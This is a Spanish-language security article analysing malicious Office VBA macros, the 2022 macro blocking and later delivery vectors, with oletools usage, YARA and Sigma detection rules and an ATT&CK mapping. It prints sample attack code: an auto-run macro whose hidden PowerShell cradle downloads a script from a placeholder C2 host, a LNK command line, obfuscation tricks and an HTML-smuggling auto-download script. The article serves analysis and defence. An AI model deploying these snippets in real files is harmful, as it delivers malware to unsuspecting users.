Macros Maliciosas en Office: Análisis, Detección y el Fin de una Era
Análisis de macros maliciosas en documentos Office. Técnicas VBA, ofuscación, análisis estático con olevba/oletools, el bloqueo de macros por defecto en Office 2022+ y las alternativas que adoptó el malware (ISO, LNK, OneNote, HTML smuggling).
La era dorada de las macros y su declive
Durante más de una década (2010-2022), las macros VBA en documentos Office fueron el vector de acceso inicial favorito del malware. Emotet, TrickBot, Dridex, QakBot: todos dependían de campañas masivas de phishing con documentos Word o Excel que pedían al usuario "habilitar macros" para ver el contenido.
En febrero de 2022, Microsoft cambió las reglas: las macros VBA se bloquean por defecto en archivos descargados de Internet (archivos con Mark of the Web). Este cambio redujo drásticamente la efectividad de las macros como vector de acceso, forzando al ecosistema de malware a buscar alternativas.
Este artículo cubre el análisis de macros maliciosas (porque siguen apareciendo en entornos legacy y ataques dirigidos) y las alternativas que el malware adoptó tras el bloqueo.
Anatomía de una macro maliciosa
Estructura típica
' Auto_Open / Document_Open: se ejecuta automaticamente al abrir el documento
Sub Auto_Open()
Dim cmd As String
' Construir comando ofuscado
cmd = Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
' "powershell"
Dim args As String
args = "-ep bypass -w hidden -c ""IEX(New-Object Net.WebClient).DownloadString('http://c2.example.com/payload.ps1')"""
' Ejecutar comando
Shell cmd & " " & args, vbHide
End Sub
Triggers de ejecución automática
| Trigger | Evento | Documento |
|---|---|---|
Auto_Open | Al abrir el documento | Word (.doc) |
Document_Open | Al abrir el documento | Word (.docx con macros) |
Auto_Close | Al cerrar | Word |
Workbook_Open | Al abrir | Excel (.xls, .xlsm) |
Document_ContentControlOnEnter | Al interactuar con contenido | Word |
Técnicas comunes en macros maliciosas
| Técnica | Descripción |
|---|---|
| Shell() | Ejecutar comando del sistema |
| WScript.Shell | Ejecutar comando via COM object |
| PowerShell download cradle | Descargar y ejecutar payload |
| certutil download | Descargar archivo con certutil |
| Ofuscación con Chr() | Construir strings carácter a carácter |
| Payload en celdas Excel | Almacenar datos del payload en celdas ocultas |
| Payload en UserForm | Almacenar payload en propiedades de controles de formulario |
| XLM macros (Excel 4.0) | Macros legacy en celdas, más difíciles de analizar |
| VBA stomping | Eliminar código fuente VBA, dejar solo p-code compilado |
| Sandbox evasion | Checks de entorno antes de ejecutar payload |
Ofuscación de strings
' Metodo 1: Chr() concatenation
Dim s As String
s = Chr(80) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
' = "PowerShell"
' Metodo 2: Replace
s = Replace("P0w3rSh3ll", "0", "o")
s = Replace(s, "3", "e")
' = "PowerShell"
' Metodo 3: String reversal
s = StrReverse("llehSrewoP")
' = "PowerShell"
' Metodo 4: Base64 decode via MSXML2
Dim xml As Object
Set xml = CreateObject("MSXML2.DOMDocument")
Dim node As Object
Set node = xml.createElement("b64")
node.dataType = "bin.base64"
node.Text = "UG93ZXJTaGVsbA=="
' Decode = "PowerShell"
Herramientas de análisis
oletools (Didier Stevens)
Suite Python para análisis de documentos Office:
| Herramienta | Uso |
|---|---|
| olevba | Extraer y analizar macros VBA. Detecta patrones sospechosos |
| oleid | Identificar características del documento (macros, OLE, cifrado) |
| rtfobj | Extraer objetos OLE de documentos RTF |
| oledump | Dump de streams OLE |
| mraptor | Detectar macros que se ejecutan automáticamente |
| msodde | Detectar DDE (Dynamic Data Exchange) en documentos |
Análisis con olevba
# Analizar documento y extraer macros
olevba malicious.doc
# Output incluye:
# - Codigo VBA de cada modulo
# - Indicadores sospechosos (AutoExec, Shell, PowerShell, etc.)
# - Strings interesantes (URLs, IPs, paths)
# - IOCs detectados automaticamente
# Ejemplo de output:
# +----------+--------------------+---------------------------------------------+
# |Type |Keyword |Description |
# +----------+--------------------+---------------------------------------------+
# |AutoExec |Auto_Open |Runs when the Word document is opened |
# |Suspicious|Shell |May run an executable file or a system cmd |
# |Suspicious|powershell |May run PowerShell commands |
# |Suspicious|DownloadString |May download files from the Internet |
# |Suspicious|Chr |May attempt to obfuscate strings |
# |IOC |http://c2.example |URL |
# +----------+--------------------+---------------------------------------------+
Análisis en sandbox
| Sandbox | Capacidad para macros |
|---|---|
| ANY.RUN | Ejecuta documentos Office, muestra actividad de macros |
| Joe Sandbox | Análisis detallado de macros con deofuscación |
| Hybrid Analysis | Ejecución y análisis de comportamiento |
| CAPE Sandbox | Open source, configurable |
El bloqueo de macros (febrero 2022)
Qué cambió
Microsoft implementó el bloqueo por defecto de macros VBA en archivos con Mark of the Web (MOTW):
- Archivos afectados: .doc, .docm, .xls, .xlsm, .ppt, .pptm descargados de Internet
- Comportamiento: en vez de mostrar "Habilitar contenido", muestra una barra roja de seguridad que no permite habilitar macros directamente
- El usuario necesita: ir a Propiedades del archivo, marcar "Desbloquear", y volver a abrir. Un proceso deliberadamente inconveniente
- Afecta a: Office 2016+ con actualizaciones, Microsoft 365
Impacto en el ecosistema de malware
El impacto fue masivo. Las campañas de Emotet, QakBot y otros loaders que dependían de macros vieron caídas inmediatas en tasas de infección. Los operadores tuvieron que pivotar a nuevos vectores.
Alternativas post-bloqueo de macros
ISO/IMG containers
Archivos de imagen de disco que Windows puede montar nativamente. Los archivos dentro de un ISO montado no tienen Mark of the Web, evitando el bloqueo de macros y las advertencias de SmartScreen:
Email con adjunto:
invoice_2026.iso
└── invoice_2026.lnk (acceso directo que ejecuta payload)
└── payload.dll (DLL maliciosa)
Microsoft añadió MOTW propagation a ISOs en noviembre 2022, reduciendo esta técnica.
Archivos LNK (accesos directos)
Archivos .lnk que ejecutan comandos al hacer doble clic:
Target: C:\Windows\System32\cmd.exe /c powershell -ep bypass -w hidden -c "IEX(...)"
Icon: %SystemRoot%\System32\shell32.dll,3 (icono de carpeta o documento)
El usuario ve lo que parece un documento o carpeta. Al hacer doble clic, ejecuta el comando.
OneNote con scripts embebidos
Microsoft OneNote permite embeber archivos. Los atacantes embeben scripts (.vbs, .js, .hta) en notebooks:
Notebook.one
└── [Embedded: invoice.vbs] (oculto detrás de una imagen que dice "Doble clic para ver")
OneNote no tenía protección contra ejecución de scripts embebidos hasta que Microsoft añadió bloqueos en 2023.
HTML Smuggling
Técnica que embebe el payload (codificado en Base64) directamente en un archivo HTML:
<html>
<script>
var payload = atob("TVqQAAMAAAAEAAAA..."); // PE en Base64
var blob = new Blob([new Uint8Array(payload.split('').map(c => c.charCodeAt(0)))]);
var link = document.createElement('a');
link.href = URL.createObjectURL(blob);
link.download = "invoice.zip";
link.click(); // Descarga automatica
</script>
</html>
El archivo HTML pasa filtros de email (no es ejecutable, no tiene macros). Al abrirse en el navegador, descarga automáticamente un archivo malicioso.
Comparativa de vectores post-macros
| Vector | MOTW bypass | Detección por email gateway | Interacción del usuario | Prevalencia 2025 |
|---|---|---|---|---|
| Macros VBA (legacy) | No (bloqueado) | Alta | "Habilitar contenido" | Baja |
| ISO/IMG | Parcheado 2022 | Media | Montar + ejecutar | Baja |
| LNK | No | Media-Baja | Doble clic | Alta |
| OneNote | Parcheado 2023 | Baja (nuevo) | Doble clic en embedded | Baja |
| HTML Smuggling | Sí | Baja (HTML legítimo) | Abrir HTML + ejecutar download | Alta |
| XLL (Excel Add-in) | No | Media | "Habilitar complemento" | Media |
| ZIP con password | Parcial | Baja (no escaneable) | Extraer + ejecutar | Alta |
Detección de documentos maliciosos
Indicadores en documentos Office
| Indicador | Herramienta | Sospecha |
|---|---|---|
| Macros con Auto_Open/Document_Open | olevba, mraptor | Alta |
| Shell(), WScript.Shell en VBA | olevba | Muy alta |
| Chr() concatenation extensiva | olevba | Alta |
| DDE fields | msodde | Alta |
| Objetos OLE embebidos | oleobj | Alta |
| Excel 4.0 macros (XLM) | XLMMacroDeobfuscator | Alta |
| VBA stomping (solo p-code) | pcodedmp | Alta |
| Documento protegido con password simple | oleid | Media |
Regla YARA para macros sospechosas
rule Suspicious_Office_Macro {
meta:
description = "Detects Office documents with suspicious VBA macros"
author = "MalwareIntel Research"
strings:
$auto1 = "Auto_Open" ascii
$auto2 = "Document_Open" ascii
$auto3 = "Workbook_Open" ascii
$sus1 = "Shell" ascii
$sus2 = "WScript" ascii
$sus3 = "powershell" ascii nocase
$sus4 = "cmd.exe" ascii nocase
$sus5 = "DownloadString" ascii nocase
$sus6 = "certutil" ascii nocase
$sus7 = "XMLHTTP" ascii
$sus8 = "ADODB.Stream" ascii
$obf1 = "Chr(" ascii
$obf2 = "ChrW(" ascii
$obf3 = "StrReverse" ascii
$magic = {D0 CF 11 E0 A1 B1 1A E1} // OLE header
condition:
$magic at 0 and
1 of ($auto*) and
(2 of ($sus*) or 3 of ($obf*))
}
Sigma rule: Office spawning suspicious process
title: Microsoft Office Application Spawning Suspicious Process
id: a1234567-b2c3-d4e5-f678-90abcdef1234
status: stable
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- '\WINWORD.EXE'
- '\EXCEL.EXE'
- '\POWERPNT.EXE'
- '\OUTLOOK.EXE'
- '\ONENOTE.EXE'
selection_child:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\certutil.exe'
- '\regsvr32.exe'
- '\rundll32.exe'
condition: selection_parent and selection_child
level: critical
tags:
- attack.execution
- attack.t1204.002
Mapeo MITRE ATT&CK
| Técnica | ID | Contexto macros |
|---|---|---|
| User Execution: Malicious File | T1204.002 | Usuario abre documento y habilita macros |
| Command and Scripting: VBA | T1059.005 | Ejecución de código VBA |
| Phishing: Spearphishing Attachment | T1566.001 | Documento malicioso adjunto |
| Obfuscated Files | T1027 | Ofuscación de macros VBA |
| Ingress Tool Transfer | T1105 | Macro que descarga payload |
| Mark-of-the-Web Bypass | T1553.005 | ISO/container para evitar MOTW |
Fuentes y referencias
- Decalage. "oletools: Python tools for OLE/Office analysis." https://github.com/decalage2/oletools
- Microsoft. "Macros from the internet will be blocked by default in Office." February 2022.
- Proofpoint. "The Rise of LNK Files and ISO Containers Post-Macro Blocking." 2022.
- Red Canary. "2024 Threat Detection Report: Office Macro Alternatives." Red Canary, 2024.
- MITRE ATT&CK. "User Execution: Malicious File (T1204.002)." https://attack.mitre.org/techniques/T1204/002/
- Didier Stevens. "Analyzing Malicious Office Documents." SANS ISC.
- Any.Run. "HTML Smuggling: Analysis and Detection." ANY.RUN Blog, 2023.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Fileless Malware en Windows: PowerShell, .NET y WMI como Armas
Evasión de Antivirus: Ofuscación, Packers y Crypters
Windows API Calls Más Usadas por Malware: Guía de Referencia para Analistas
Phishing con Macro Office a Cobalt Strike: Walkthrough Completo
Analisis de DLLs y Handles en Memoria: dlllist, handles y Deteccion de Inyeccion
Analisis de Procesos en Memoria Windows: pslist, pstree y Deteccion de Anomalias
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.